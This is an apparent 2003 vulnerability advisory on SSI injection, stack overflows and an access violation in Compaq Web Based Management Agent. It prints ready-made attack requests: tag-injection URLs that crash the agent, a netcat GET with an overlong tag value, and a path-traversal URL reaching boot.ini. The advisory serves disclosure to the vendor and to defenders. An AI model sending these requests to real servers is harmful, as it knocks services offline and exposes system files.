SSI vulnerability in Compaq Web Based Management Agent
======================================================

Type of vulnerabilities:
  Server Side Include injection. Exploitable.
  Stack overflows and access violations. Exploitable?
  Creation of script objects. Exploitable?

Affected Software:  Compaq Web Based Management Agent
Verified Platforms:  Windows

Background and problem description
==================================
Bashis (bash at wcd.se) has found several vulnerabilities
in Compaq Web Based Management Agent. This Agent runs on
TCP port 2301 (HTTP) or 2381 (HTTPS).
The agent uses "tags" to run funktions at the server side.
To list all tags:
http://IP:2301/<!.TableDisplayTags> 

To crash the agent:
http://IP:2301/<!>
Stack overflow (0xc00000fd), Address: 0x77f0c3dc
http://IP:2301/survey/<!>
Stack overflow (0xc00000fd), Address: 0x10039869

This crashes the agent too:
http://IP:2301/<!.StringRedirecturl>
Stack overflow (0xc00000fd), Address: 0x77f0c3dc
http://IP:2301/<!.StringHttpRequest=Url>
Stack overflow (0xc00000fd), Address: 0x77f0c3dc
http://IP:2301/survey/<!.StringHttpRequest=Url>
Stack overflow (0xc00000fd), Address: 0x10039869

The cause could be an endless loop (the result
contains a tag to display an URL, and the result
contains a tag to display an URL, and the result...)

More strange stack overflows:
http://IP:2301/<!.ObjectIsapiECB>
Stack overflow (0xc00000fd), Address: 0x77f0c3dc

Many tags take input that seems vulnerable:
http://IP:2301/<!.StringIsapiECB=lpszPathInfo>
Stack overflow (0xc00000fd), Address: 0x77f0c3dc

Netcat following:
GET /<!.FunctionContentType=(About 250 AAAAA:s)> HTTP/1.0
Access violation (0xc0000005), Address: 0x100368a5

Check file existens. (with a nice 'input box')
http://IP:2301/<!.DebugSearchPaths>?Url=%2F..%2F..%2F..%2F..%2Fboot.ini

It looks like you could create script objects.
Check the tags with <!.TableDisplayTags>. Some of the
CreateObject tags has the parameter 'script'.
I don't know if it could be done though.

Is this just another remote DoS?

I have mailed HP (security-alert@hp.com) and got an automated
response 28/5 2003.

If someone want to forward this mail they may do so.

To all of my friends; See you in Vegas!
The Swedes are comming.
//Ian Vitek